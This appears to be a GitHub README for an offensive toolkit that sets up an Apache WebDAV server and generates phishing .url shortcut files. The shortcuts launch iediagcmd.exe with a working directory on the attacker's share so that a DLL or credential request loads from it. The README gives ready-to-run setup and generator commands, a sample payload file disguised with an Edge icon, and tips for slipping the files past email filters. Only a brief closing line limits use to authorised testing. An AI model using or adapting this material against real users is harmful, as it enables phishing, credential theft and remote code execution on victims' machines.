This repository provides scripts to automatically deploy a WebDAV server on Ubuntu using Apache2, and generate malicious .url shortcut files for use in phishing, red teaming, or lateral movement simulation.
setup_webdav.sh– Bash script to configure Apache2 + WebDAV.setup_webdav.py– Python version of the above.gen_url.py– Python script to generate.urlshortcut files with UNC/WebDAV paths.README.md– Documentation.
- OS: Ubuntu 20.04 or newer (Debian-compatible)
- Root privileges (
sudo) - Python 3.x
sudo bash setup_webdav.shOr using Python:
sudo python3 setup_webdav.pyBy default, the script will:
- Install Apache and required WebDAV modules.
- Create a shared directory at
/var/www/webdav. - Enable
DAVandDAV_FSmodules. - Create a
DavLockDBdirectory (to prevent Apache DAV locking errors). - Restart the Apache service.
📎 WebDAV path:
http://<your-ip>/webdav/
python3 gen_url.py --ip 192.168.1.100 --out doc.urlpython3 gen_url.py \
--ip 《YOUR IP ADDRESS》\
--share 《YOUR SHARE NAME》(Default: webdav) \
--out 《YOUR OUTPUT FILENAME.url》(Default: bait.url) \
--exe "C:\Program Files\Internet Explorer\iediagcmd.exe" \
--icon "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" \
--index 13 \
--modified 20F06BA06D07BD014DThis will create a .url file like:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\192.168.1.100\webdav\
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D📌 Clicking this file (in certain configurations) may cause the target system to auto-connect to your WebDAV server (authentication or DLL delivery).
- Disable Firewall (or open port 80) if testing on a local network:
sudo ufw allow 80
.urlfiles may not execute as expected depending on:- Group Policy restrictions
- Application defaults
- Email client (Gmail may sanitize them)
- You may need to zip or rename
.urlto.txtto bypass filters.
This repository is for educational and authorized penetration testing only.
Do not use these scripts against systems you do not own or have permission to test.
For questions or ethical red teaming requests, reach out via GitHub issues.